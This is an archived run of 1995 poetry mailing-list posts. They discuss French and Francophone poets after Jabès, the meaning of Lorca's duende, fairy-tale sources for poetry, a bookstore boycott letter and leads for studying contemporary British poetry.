Carolyn, Jonathan, & others --

I have generally quoted a lot of Jabes's comments on "the book" in talks I've given over the last four years or so on the book arts. People in that field as well as more "poetics"-involved groups I've spoken to about such matters seem

surprised that I would make a more or less direct connection between such theoretical/spiritual discussion of the book and the book as physical object. Such a connection seemed immediate to me on reading Jabes's work. It still does. The book arts community is certainly not familiar with Jabes, although I've loaned my books to many people in the field, and he is taken up with some enthusiasm among those who attempt to construct a conceptual framework for their activities in bookmaking. Now if I could get them to read Albiach and Roubaud and Hocquard and Fourcade and Royet-Journoud, there might be some fascinating trans-Atlantic book projects.

charles alexander [==========^^==========]
[<>]
chax press [maybe <> pages]
[a time <> letters]
phone & fax: [redacted] [upon <> frames]
[once <> motion]
e-mail: [redacted] [<>]
[==========vv==========]

↑ Index

61. Gabrielle Welford

Re: Millay

Sun 3 Sep 1995

On Tue, 29 Aug 1995, Kevin Killian wrote:

do you, Alan
> (or any of the other fine critics on this list) know of anyone who is doing
> any interesting work on Millay right now? Yours, Kevin
>
I actually knew a woman at Sonoma State when I was there who was a Millay expert. She had been accepted to Vancouver to do a doctorate last time I heard from her but wasn't sure whether to go. Her name is Jennifer, damn, can't remember her last name. I'll look and see if I can find it. She did wonderful readings of Millay in which she dressed up and impersonated her.

Gabrielle

↑ Index

62. George Bowering
Re: fairy poems
Sun 3 Sep 1995

Actually, Ryan, when I mentioned Atwood I was also thinking of her verse. She has always declared fairy tales her main source, and as you might know, she did her harvard thjesis on late 19th C horror writers like Rider haggard. She was also a sucker for Hollywood monster movies. Check thru her poetry: you will find lots of traces from fairy tales.

You might have a look at Kenward Elmslie, too. See how fairy tales mesh with Jean harlow and the Old Dutch lady, etc.

↑ Index

63. Gabrielle Welford
Media Play
Sun 3 Sep 1995

Thought ye all might be interested in this. Gab.

The Saginaw, Michigan, store of Media Play, Inc., at the direction of their national corporate headquarters (Media Play and parent corporation Musicland, located in Minnesota) are exploting local writers, artists and musicians for public relations purposes while refusing to carry some of their works on the shelves, even on consignment. Media Play has over 50 stores nationwide, including 14 in Michigan and one in Buffalo, NY.

The Saginaw store has censored my own books and the books published by my small press, Mayapple Press, written by other authors. The awards mentioned in the letter below are Great Lakes Colleges Association New Writers Award, which gave Honorable Mention to my book of prose-poetry, *Mothering* in 1978, and the Science Fiction Poetry Association's Rhysling Award for Best Long Poem, given to "Pilot, Pilot" in 1995. This poem is included in *Blues for Port City* by David Lunde. Both these books were in a group of 6 refused for consignment by the Saginaw, Michigan, outlet of Media Play, Inc.

Please circulate, distribute, copy, share, sign, and provide copies of this letter to writers, poets, artists and musicians in your area for signature. Signed copies can be sent to me at P.O. Box 5473, Saginaw, Michigan 48603.

Thanks for your help!
Judith Kerman
poet, publisher of Mayapple Press

EXPLOITATION AND CENSORSHIP!

September 1, 1995

To the Editor:

Within the last two weeks, it has come to our attention that Media Play, Inc. and its parent company Musicland Corporation, are censoring the works of American poets and writers by refusing to carry them in their stores even on consignment, based on the supposed "sensitivity" of the material. Works refused by the Media Play store in Saginaw, Michigan, include two which were recognized in part or whole as meritorious in mainstream national literary competitions. The store management declares that in doing this, they are following corporate policy dictated by the national corporate headquarters and its Board.

According to the Detroit Free Press, it is national Media Play corporate policy to target areas with highly-educated populations for their new stores, because people who are highly educated read books. People who read books also buy CD's, videotapes, computer software and collectibles which the stores carry. In order to bring these people into the store for extended periods of time, all Media Play stores have been directed by their corporate headquarters to solicit writers, poets, artists and musicians from the immediate area to participate in public relations events such as performances, readings, book signings and exhibits. Such people are also likely to become good customers.

However, the Saginaw store that was willing to host a writer for a reading is not willing to sell that same writer's books on the shelves even on consignment, based on the store management's and the corporate public relations staff's fears that the content might be found offensive. In addition, the Saginaw store has pulled items from the shelves sent to them by the corporate buyers, without ever receiving a complaint, thereby making themselves moral arbiters for adult readers in the tri-county region, the same "highly-educated readers" they wish to attract.

We the undersigned will not spend money in any Media Play store until this policy has been changed, nor will we cooperate with their public relations efforts. We urge all those who value freedom of expression to boycott all stores run by Media Play or Musicland Corporation, their parent company. Please let store managers know that you are boycotting them, and why you are doing so. Please decline invitations to give readings, concerts, art exhibits, book signings, or in other ways contribute to the public relations efforts of Media Play, Inc., or their parent company Musicland Corporation. We also encourage small press publishers to test the situation at their local Media Play outlets by bringing in publications for possible consignment.

Signed:

FEEL DUPLICATE AND CIRCULATE THIS LETTER, AND SUBMIT IT FOR PUBLICATION IN NEWSPAPERS AND OTHER MASS MEDIA.

↑ Index

64. Pierre Joris

Re: Jabes

Sun 3 Sep 1995

Jonathan wrote:
>
> Pierre,
>
> Please do "rattle off a dozen names...whose work is as worthwhile."
> Suggestions about where they can be ordered are welcome, also.
>

Okay. Here I go a-rattling off in the random order of alpabetic precedence a baker's dozen French poets: Jean-Christophe Bailly, Matthieu Benezet,Yves Buin, Michel Bulteau, Michel Deguy, Jacques Dupin, Jean-Pierre Duprey, Genevieve Clancy, Gerard de Cortanze, Jean-Pierre Faye, Liliane Giraudon, Leslie Kaplan, Matthieu Messagier, Alain Jouffroy, Bernard Noel, Michel Maire, Claude Pelieu, Denis Roche, Maurice Roche, James Sacre, Eric Sarner, Serge Sautreau, Frank Venaille, Marcelin Pleynet, Jacqueline Risset, Alain Veinstein, Andre Velter, Jean-Pierre Verheggen,

hmm, I think I got more than a dozen already, so let me now switch to a quick list of poets who write in French but are from south of "la metropole" as they used to say: Mohammed Dib, Tahar Djaout, Mohammed Khair-Eddine, Abdelwaheb Meddeb, Abdelkebir Khatibi, Ahmed Kedidi, Amina Said,Habib Tengour, Kateb Yacine...

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

65. CAROLYN L. FORCHE-MATTISON
Re: Jabes
Sun 3 Sep 1995

Dear Pierre, To your wonderful list I would add Jean-Jacques Viton and Joseph Guglielmi. Are the poets from "south of the metropole" available in translation? For a sampling of the others, I can only suggested Serge Garonsky's already well known -Toward a New Poetics- (University of California Press, 1994).

--Carolyn

↑ Index

66. Jerry Rothenberg
Re: Jabes
Sun 3 Sep 1995

Since Pierre and I have been mulling over the names & works of many in our attempt to compose a global anthology, etc., shouldn't we mention his own recent attempts to translate the very powerful Congolese poet Tchicaya U Tam'si (died in 1988) who was also a master of the French language & its poetries? I think -- in terms of what we're planning to include in the second installment of our work -- mention should also be made of poets like Bernard Heidieck and Henri Chopin, who have been part of the most experimental side of French poetry, along with others like Michele Metail, Pierre & Ilse Garnier (Spatialism), Isidore Isou (Lettrisme), Julien Blaine, & so on. The question of what it takes to be known & read over here is itself a little puzzling. Jabes (who was a good friend to many of us) has a huge number of translated works, but Roubaud (besides the fiction work) has at least two recent (important/crucial) books of poetry -- translated (like Jabes's works) by Rosmarie Waldrop. Both of them -- but Jabes in particular -- are, it seems to me, as well known as one would expect contemporary furrin poets to be in the present U.S. climate. But it might also be noted -- with Jabes, say -- that there is both a reader enthusiasm & a suprising or not-so surprising reader resistance. I think this may have, as Silliman suggests, some bias about the Jewish nature of the work, but more often (in my experience of it) takes the form of people professing to feel outside his concerns, which are taken to be much more hermetic (referential to some presumed deep learning in kabbala & Jewish mysticism etc) than they actually are. But the point is that there are a considerable number of people who may block on Jabes but who are otherwise quite aware of who he is & may have even tried to crack him, so to speak. (I take much of this as a measure, by the way, of how really good he is.)

Aside to Ron on the non-acceptance of the Objectivists for being Jewish, it seems to me that a probably more widespread block was that they were closely tied to Pound (as anti-Jew), even so far (in the early days) as to include him (& WCW) within the body of what was being presented in the Objectivists Athology & the Objectivists issue of Poetry/Chicago. I mean only that on that level, things in the poetry world (& elsewhere) get pretty damn confusing.

And going back to the original matter of known and unknown French poets, one should remember that a number of those mentioned by Pierre appear also in Paul Auster's Random House Book of Twentieth-Century French Poetry -- in addition to those in the Gavronsky book that Carolyn refers to.

Okay & greetings.

Jerome Rothenberg
[redacted]

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67. Steven Howard Shoemaker
approaching Edna
Sun 3 Sep 1995

Kevin Killian writes:

Thank you to Jordan and to Gale, and all who msged me back-channel, with your hints on further reading on St. Vincent Millay . . . now I know where to turn, believe me I was at my wits end trying to find something good. I was even at that awful stage familiar to you all I'm sure where I was beginning to feel, God, maybe I'LL have to write something-that sinking feeling . . .

Hey Kevin,

Well, you don't have to actually *write* anything, but you cld *post* something here:> You know, drop a few hints for those of us waiting to have our ears opened...

steve

↑ Index

68. Steven Howard Shoemaker
Re: fairy poems
Sun 3 Sep 1995

I'm set on Digest, but no one seems to have mentioned Christina Rossetti's great "Goblin Market" yet.

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69. Cristina L. Brown
UK-CALL
Sun 3 Sep 1995

Will anyone who knows anything about anything mentioned in the note below (sent to Ric Caddel in the UK) please write--soon-- ([redacted]) & tell me how I might best proceed? Feel free to say insulting things about my project as it now stands (for instance: "uninspired" "rudimentary" "poorly- researched" "boring" "what project?") but be sure also to offer useful advice--names/addresses of contacts, possible angles to take, etc. I don't think I'll be doing work on the "relationship between contemporary British & American poetries" per se but will use that connection as a jumping-off point to some more specific (& less reductive) study . . . .

Mr. Caddel:

I'm a writing student at Brown University, recently subscribed to the POETICS list--have been working with the (Burning Deck) Waldrops and friends on a proposal which if successful will convince the British Fulbright & Marshall committees to have me sent over to some British university to work on a project having to do with the relationship (?) between contemporary British & American poetries, and which would involve quite a bit of research on the poets featured in Longville & Crozier's A Various Art, Mottram et al.'s The New British Poetry, Tom Raworth's Exact Change showcase & others writing in a similar (British) vein. As far as I can tell, there hasn't been a whole lot written on the kind of British poetry which interests me--poetry which reflects a disaffection for received modes of reading & writing, which does not seek primarily to appease or to comfort--into which, in fact, is built a certain resistance--& in which a considered and difficult relationship to (& with) language is manifest. So far I've looked at the Hampson/Barry collection (scope of the possible), a book of essays by A. Weatherhead, an article by Marjorie Perloff, & very little else--not being able to find out more (A Various Art not locally available, for instance--I came across it in a London bookstore last summer) makes it seem all the more important that I go to England--I've been told that Anthony Crozier is at Sussex & John James at Cambridge, though I haven't been able to find James' name on the Cambridge faculty lists & haven:t been able to locate e-mail addresses for either--or in fact anyone else who might be able to help me save yourself. The proposal's due September 22nd--can you give me some leads, suggest a university at which a project like mine might be welcome--or pass this note on to someone who might be interested or willing to offer advice? I'll post some version of this on the list.

Thanks,
[redacted]

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70. Jerry Rothenberg
Re: fairy poems
Sun 3 Sep 1995

Check Duncan on "faerie" etc. for the real mccoy on these matters. Or Yeats, say, once you get past those celtic twilights. Or Lorca whose duende (goblin) is of that world as well. Or our old friend Wakoski come to think of it.

viz, in the case of Duncan

a fairy citadel
a fabulous construction out of
Christianity where Morgan le Fay
carries the king to her enchanted Isle
(R.D., "Nel Mezzo del Cammin ...")

& with others a still darker, older world -- one of those resources now left for children.

But that much is an old old story -- part of our poetics (to say nothing of our poetry) since Shakespeare & Spenser at the very least. And old, old in this century as well.

Jerome Rothenberg
[redacted]

↑ Index

71. kathryne lindberg
Re: fairy poems
Sun 3 Sep 1995

---

irrelevant, perhaps, but somehow seques with a joke that an alto player made last night at the Detroit Jazz Festival: after the next tune, be ready for a discussion of Marx in English. I beg indulgence.

Is "duende" commonly translated as "goblin"?
As Chris Cheek reminded the list some while ago, the first English translation of the Manifesto begins, "There is a hobgoblin"/not "A spectre haunts. . ."

What is the difference between goblin and hobgoblin? J. Edgar's spectre might ask 'Who would you trust your children to, Lorca's "duende" or Marx's "hobgoblin"?'--his grammar would be as bad. He would see connections, even connecting under the bed.

But I do want to know about duende, especially in light of a nice piece of Nathaniel Mackey's on Miles Davis's "Sketches of Spain" alongside Lorca on duende. Makes me laugh, at least, a happy laugh of trebled hauntings--at least.

↑ Index

72. Jonathan Brannen
Re: Jabes
Sun 3 Sep 1995

Pierre,

Thanks for the suggestions re: poets writing in French. I'm familiar with the work of some of these writers, others are new to me (especially those "southern" poets).

Best regards,
Jonathan

↑ Index

73. Jonathan Brannen
Re: Jabes
Sun 3 Sep 1995

Carolyn,

In addition to Garonsky's -Toward a New Poetics-, -Violence of the White Page: Contemporary French Poetry- (edited by Stacy Doris, Phillip Foss, Emmanuel Hocquard; Tyuonyi 9/10) offers an interesting sampling (in translation) of some of the poets Pierre referenced and some others. Of the "south of the metropole" poets, I believe some of Mohammed Dib's work has been translated, though I can't recall where at the moment.

Best,
Jonathan

↑ Index

74. Jeffrey Timmons
Re: Help..
Sun 3 Sep 1995

Yes, you are right. There is need for contact. You have put it very nicely.

Jeffrey Timmons

↑ Index

75. George Bowering
Re: fairy poems
Sun 3 Sep 1995

This is the first time I have, I think, seen duende translated as goblin. That is a little alarming, given that a popular brand of toilet paper in mexico is Duende.

Have you seen the transcribed discussion among Olson, Duncan and Ginsberg about duende during the 1963 Vancouver poetryfest. It has been publisht a few times, most recently in Ralph Maud's Olson Newsletter. In the discussion, curiously enough, Olson and esp. Duncan are way off, and Ginsberg comes closest to it. He mentions, I think I recall, Mexicans telling him the duende is what scares the cattle at night.

There is also a discussion of duende in the third Spicer lecture (1965) which will be published in Peter Gizzi's edition.

By the way, the toilet paper is called that not because going No. 2 is spooky in Mexico, but because a literal meaning is also "soft."

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76. George Bowering
Re: UK-CALL
Sun 3 Sep 1995

I am thinking that your best help might come from Peter Quartermain, who is on this list, but usually lurks. He is an expert on the hipper Brit poets, as well as being hip to what is happening in the U.S. He goes to England often. One of the best places to work might be at U. of Durham, where the Bunting papers are, and smart folks. The crossover started with the UK littlelittle mags of the 60s , such as Move and Tlaloc.

↑ Index

77. George Bowering
Re: Jabes
Sun 3 Sep 1995

Jerry Rothenberg--god bless you for doing all that digging for us.

I see how necessary it is when I look at an anthology in the bookstore yesterday--it's called something like The Best New Poems of 1994 or something. The only name I rememnber recognizing was Peter Gizzi. Now Peter's probabl;y worried.

↑ Index

78. Thomas Bell
New list and site
Mon 4 Sep 1995

The following may be of interest to some, particularly
the rengists?
Forwrded from NARRATIVE-L

TEXT21-L on [redacted] The future of the written word.

The TEXT21-L discussion list is part of a symposium on the future of the written word, called Text 21, to be held at Alfred University in New York state. While the symposium will take place during four weekends over the 1995-96 academic year, the discussion list will be a continual forum to discuss issues relevant to the relation between communication, especially written language, and technology.

TEXT21-L is intended to discuss not only the future of text, but also the way new technology integrates other media, like sound, video, images, and virtual reality, into text, and the emerging forms of communication made possible by new technology.

The relative benefits and problems of "new media" compared to "old media," technology and rhetoric, the future of the written word, Computer Mediated Communication, Human-Computer Interaction, the fate of the book, the relations between text and image, the future of communication, the philosophical implications of technology, and copyright issues are all relevant issues. The tone of the list is intended to strike a balance between scholarly and conversational, but the ultimate structure of the list will be decided by the individual decisions of its members.

All entries to this list will be edited, hypertextually linked, and released, free to the public, on the Text 21 World Wide Web page at:

http://www.text21.alfred.edu/

This Web page will be available on September 20, 1995.

Each hypertext section will be referenced to its respective author, with a link to the author's home page, if one exists, or, if the author wishes, an email (mailto:) link. Because of the nature of the Internet, everything submitted to the list is assumed to be in the public domain.

with the body text

subscribe text21-l

Owner/Moderator: Paul Ford [redacted]

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↑ Index

79. **Jorge Guitart**

Re: fairy poems

Mon 4 Sep 1995

---

a note on duende
it has the following meanings in Spanish in general as a noun (i wasn't aware that it is an adjective meaning soft in Mexican Spanish)

1. goblin
2. charm, enchantment, bewitchment

[duende comes originally from duen de casa (shortened from duen~o de casa = `owner of the house,' in reference to a spirit that haunts a house.]

Lorca certainly did not mean 1 but rather a non-anthropomorphizable `presence'.

I wonder if the toilet paper was named by someone who knew about Charmin'.

On Sun, 3 Sep 1995, George Bowering wrote:

> *This is the first time I have, I think, seen duende translated as goblin. That is a little alarming, given that a popular brand of toilet paper in mexico is Duende.*
>
> *Have you seen the transcribed discussion among Olson, Duncan and Ginsberg about duende during the 1963 Vancouver poetryfest. It has been publisht a few times, most recently in Ralph Maud's Olson Newsletter. In the discussion, curiously enough, Olson and esp. Duncan are way off, and Ginsberg comes closest to it. He mentions, I think I recall, Mexicans telling him the duende is what scares the cattle at night.*
>
> *There is also a discussion of duende in the third Spicer lecture (1965) which will be published in Peter Gizzi's edition.*
>
> *By the way, the toilet paper is called that not because going No. 2 is spooky in Mexico, but because a literal meaning is also "soft."*

↑ Index

80. Marjorie Perloff
Studying in England
Mon 4 Sep 1995

This is for Christina Brown. I don't think the poetries you describe are studied anywhere academically in the UK but your best bet would be Sussex with Peter Nicholls. A wonderful guy with a great interest in all the poetries you describe, books on Modernisms and Ezra Pound and now working on a poetry book. At Edinburgh there's Aidan Day who shares your interests and maybe you could study at Cambridge with Jeremy Prynne but that might be iffy for the Marshall, etc.

Anyway, I'd put down Sussex and there are many other good people there at the School of American Studies.
Hope it works.
Best, Marjorie Perloff

↑ Index

81. Aldon L. Nielsen
Re: the dozens
Mon 4 Sep 1995

Pierre -- don't toy with us -- give us those names -- especially those available anywhere in English -- (The only other language I can read so far is Spanish) --

My view of things may admittedly be skewed -- Jabes appears to sell _and_ get read around the Bay Area -- at least since the handsome republication of _Book of Questions_ a while back -- Certainly better known here than the others I named --

but give us those names -- the best thing I get from this list is reading lists!

↑ Index

82. Aldon L. Nielsen
dozens of dozens
Mon 4 Sep 1995

yes, being set on digest and reading from the West Coast, I sometimes lag behind --

Thanks to all who contributed to the lsist of interesting writers in French -- & thanks particularly to Pierre --

That's the second time in a week I've heard of the prospective U Tam'si works -- All I've ever been able to find is the old Heineman _Selected_ with Gerald Moore's translations -- when will the new text be available?

↑ Index

83. George Bowering
Re: Studying in England
Mon 4 Sep 1995

Hey, Marjorie.

Things must have changed for the better at Sussex. In 1966 I went there and asked whether, holding a scholarship, I could work on Basil Bunting. The English dept. told me heavens, no, because Bunting was still alive.

↑ Index

84. George Bowering
Re: fairy poems
Mon 4 Sep 1995

By golly, my U. of Chicago dictionary gives "goblin" for duende. In discussing the word in 1965, a Mexicano told me it meant soft/smooth as well as the spectral stuff, in everyday talk, as an adjective.

Maybe the Mexicano was a fantasma, maybe the same one that whispered dondamente to Spicer.

↑ Index

85. R I Caddel
Re: UK-CALL
Mon 4 Sep 1995

I too go to England often, tho it's getting hard to find. I've back-channelled to Cristina Brown with specific suggestions, but thought it useful to come back on some points. First, a little story: When I first arrived in Newcastle in the late '60s I showed my adolescent scribbles to someone who said I'd obviously been reading Dorn and Duncan, who I'd never heard of (indeed, I hadn't heard of anyone). I trotted round to Tom Pickard's shop Ultima Thule (which I used as a library) and began to read Dorn and Duncan, and was flattered but mystified by the comparison (still am).

The first point is that "the message" was firmly in place by that stage, and that objectivist and black mountain and new york poetries were getting through - at least to that place. I later discovered that John Seed was also grazing those

shelves at the same time - we probably rubbed shoulders by the little magazines shelves. Those little mags, including Tlaloc, as George said, did a good job: I'd mention Grosseteste Review, Second Aeon, and Ian Hamilton Finlay's Poor.Old.Tired.Horse. (aka POTH) at the same time. Also, there was "the Migrant set" - Gael Turnbull, Michael Shayer and Roy Fisher - invaluable cross-fertilizers right at the start of the 60s.

The second point is that not all assumptions about transatlantic "influences" are well-founded, and indeed in their reductive form they can be unhelpful (a UK "establishment" put-down of Pig Press which still surfaces is "publishes American and American-influenced poets" - as if american influence were some kind of virus!): what's more helpful, I'd have thought, wd be to identifiy the affinities - and even the differences - between some of the groups Cristina mentions and their American and European counterparts.

Then there's Bruce Andrews, for example, writing in FLOATING CAPITAL (an anthology of UK poets from Potes&Poets): "resources made available in part from innovative American poetries (& poetics) of the 1970s & 80s have (arguably) helped spur [these poets]". The distances between writers are vast enough, it seems to me, without bringing country-of-origin legislation into it.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

86. Pierre Joris

Re: Jabes

Mon 4 Sep 1995

Will try to answer a few messages in one shot on this Labor day (get it back to the first of May!) morning --

First a sad announcement: About ten days ago the Swiss-Italian poet Franco Beltrametti died suddenly. He was one of our last great peripatetic travelling companeros, at home as much in Kalifornia or here on the East Coast than in Japan, Holland, France or Italy. & one of the gentlest sould it has been my privilege to know. Here a little poem from his book _Target_.

il monte verita

_____

the mountain is
the same, the truth
changed

19/VIII/78

Good that Jerry filled the experiemntal/concrete/soungpoetry gaps in my quick list of frog poets. One could add Julien Blaine & the work of his Marseille group & magazine DOC(K)S (a scene on which, incidentally, Franco had been very active these last years). There are any number of other figures to add to my list: Claude Miniere, Valere Novarina, Guy Darol for example, but also such towering experiemtal prose figures as Pierre Guyotat (the last French writer, to my knowledge to have one of his Gallimard-published works censored by the French Government!). The list is endless...

Besides the anthologies already mentioned on the list, here are two other books worth investigating as they have some of the younger writers not in the other one:

French Poets of Today published in 1987 by Guernica Editions (Montreal then, now based in Toronto) I don't know if the book is still in print, but worth trying to pick up.

The spring '87 (Vol 30. n. 3) issue of "The Literary Review" pubvlished by Fairleigh Dickinson Universioty. This issue is subtitled "New French Writing" & includes some experiemntal prose by Guyotat & Sollers (from the latter's _Paradiso_) (my translations) as well as the usual suspects (Albiach, Hocquard, Jabes, Roet-Journoud) plus a short bit by one of my favorite French (prose)witers, Pascal Quignard. Importantly, the issue contains a secoind section edited by Eric Sellin, called "Francophone Literature of the Maghreb" presenting writers such as Dib, Alloula, Amrouche, Sebti, Said, Boujedra, Mimouni & others. Sellin edits (edited?) a magazine called _The Celfan Review_ essentially on Maghrebian writers from temple University where he teaches. Otherwise Maghrebian literature is unknown & untranslated here. I'll pass along more information as I come across it.

Pierre, but

before signing off, one more by Franco Beltrametti

mental one

_____

(a few hits of the keys) (finally
for once) (she would like that
it would never end) (to focus)
(the problem is choice)

(finally for once) (a few
hits of the keys)

15/II/78
for J.L. Godard

==========
==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========
==========

↑ Index

87. Pierre Joris
Re: dozens of dozens
Mon 4 Sep 1995

> *That's the second time in a week I've heard of the prospective U Tam'si works -- All I've ever been able to find is the old Heineman _Selected_ with Gerald Moore's translations -- when will the new text be available?*

Aldon -- the U Tam'si will be out probably late next year from Sun & Moon -- if I can get thje translation done on time.

==========
==========
Pierre Joris | "Poems are sketches for existence."
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==========
==========

↑ Index

88. Pierre Joris
Re: UK-CALL
Mon 4 Sep 1995

Cristina -- It would be worthwhile getting in touch with both Shamoon Zamir & Clive Bush at Kings College, University of London, The strand, London WC2R 3LS. They are both ex-students of Eric Mottram who was the most important figure inb the rapporchement between US & Brit poetry. (Thge Cambridge group to some large extent folded back upon itself, classical Brit invagination, even though Prynne now writes poems in Chinese). John James teaches at the Polytechnic in Cambriudge, which is why you couldn't find him in the U directories. If you want/need more infoatters, feel free to backchannel, email address as below.

Pierre

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
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[redacted]| --J.H. Prynne
==========

↑ Index

89. Jerry Rothenberg
Re: fairy poems
Mon 4 Sep 1995

A point about "duende" being something like "goblin" is that Lorca, like many others, was drawing from & (as the situationist might have said) retourning (retuning?) an expression taken to have deep (if later bowdlerized) meanings within the culture. There's a touch of evil in them goblins -- dangerousness or wildness -- that must have been part of its appeal (to see that beneath the Disney-duendes of a later generation). So, I thought too that Duncan, with his fairy/faerie differentiation, was involved in a similar project -- getting some of that fiery/fury sense back into the word (& touching on the lore behind the word, if that's still reachable). I used to think -- in our old ethnopoetics days -- that that was what we were largely into. And I think I still do.

All best,

JERRY

Jerome Rothenberg
[redacted]

ps. "Duende" (i.e. GOBLIN) as the name of a toilet paper is probably not so striking -- except for those of us who get our duendes strictly out of Lorca. (Like Katharsis as a going term for (dry)cleaners, I'm told, in modern Greece.)

↑ Index

90. Jordan Davis.
Re: reng-reng-reng
Mon 4 Sep 1995

> In the books were dreams and in the dreams were books.>
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the
> dry cleaners
> piping hot and gloved-in somewhere unsalted, perched on
> prescience

> the chair is sad, alas, and i've lusted tootles' livers
> the odor day toy a cello day dis chevys a bo coo daughter chose
> encore
> Flaubert because we're waiting all throughout eternity for
> moments to be
> of such suchness. In the nooks were creams and in the streams
> were hooks.
> All melded like striated film leftover in the pastel seeds of
> darkness
> falling like a counterirritant around the manchineel. Likewise
> sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
> of subject's object status, violent transformation
> la Ste. Therese into beaming cumulus apokoinu switchback
> and in the u-turns were bookmobiles rounding angles considered
> shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprised
> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,
> heats me up in the sleaze," it's like a huge dose
  of familiarity. I am storing radiance for later use

among the invoices and the difference engines

↑ Index

91. Jordan Davis.
Re: fairy poems
Mon 4 Sep 1995

> *I'm curous if any of you out here know of any or many poems related to or influenced by children's literature.*

Ashbery's "The Poems" has the music of children's books, and "Europe" used a sort of childish aviator book for much of its text... Kenneth Koch's "The Circus" part one is one of a few of his experiments in children's book narrative, and parts of his novel _The Red Robins_ borrow heavily from all kinds of children's books--he even had Random House print it on rough paper in an odd format to approximate the feel of a boy's book. Ron Padgett's "Falling in Love in Spain or Mexico" takes all its phrases from a child's spanish text/phrase book. And aside from D. Shapiro's "the boss poem" that Rod mentioned, there are poems using (transforming) children's pedagogical texts in Lateness, To an Idea and House (I think). Randall Jarrell's _The Animal Family_ has been illustrated nicely by Maurice Sendak, and Ruth Krauss did many books on the hazy border between NYschool and kidlit, my favorite was and is _A Hole Is To Dig_, consisting of excellent juvenile aristotelianism.

but this may not be what you were asking,
Jordan

↑ Index

92. eric pape
Re: Jabes
Mon 4 Sep 1995

Speaking of Michel De Guy.... He visited recently at LSU, oddly. He was very open to grad students and junior faculty. Gave a reading and even met with students at a nearby coffee shop. Which is more than most visting writers consent to doing. Certainly none of his ability and importance.

And yet only five students arrived at Highland to meet with him. Of those, perhaps three spoke French. Two faculty also attended. It was embarrasing and awkward, but perhaps is some indication of how French poetry in general is accepted in the "official" academy (I of course do not speak of the academics on this list). Jabes perhaps has some cred simply because he is spoken of in Derrida.

Thanks, Eric ([redacted])

↑ Index

93. **eric pape**
Re: Jabes
Mon 4 Sep 1995

Glissant, anyone?

↑ Index

94. **Gabrielle Welford**
duende
Mon 4 Sep 1995

Doesn't Lorca have a chilling essay describing duende as the driving force behind Spanish poetry? Can't remember where I saw it.

Gabrielle

↑ Index

95. **Gabrielle Welford**
duende
Mon 4 Sep 1995

Ooops. See that the first mention of duende was re Lorca. I didn't know duende meant a kind of hobgoblin. Why I was chilled by the way he wrote about duende was that it sounded as though he allied the Spanish poet with a kind of macho obsession with death. Maybe he was right but still chilling. Gab.

↑ Index

96. **Pierre Joris**
Re: Jabes
Mon 4 Sep 1995

>
> Glissant, anyone?
>
Yes indeed Eric -- the poetry out in one collected volume (Gallimard)
& a lovely collection of essays on poetry _L'Intention Poetique_
(Seuil) both of which -- in toto or in parte -- could use translation.

==========
==========
Pierre Joris | "Poems are sketches for existence."
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==========

↑ Index

97. **Jorge Guitart**

Re: reng-reng-reng-reng

Mon 4 Sep 1995

> > In the books were dreams and in the dreams were books.>
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> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's
> > halfway pertinent incision we keep making safe for ignorance
> > (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> > no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> > piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> > the chair is sad, alas, and i've lusted tootles' livers
> > the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore

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> > moments to be
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> > darkness
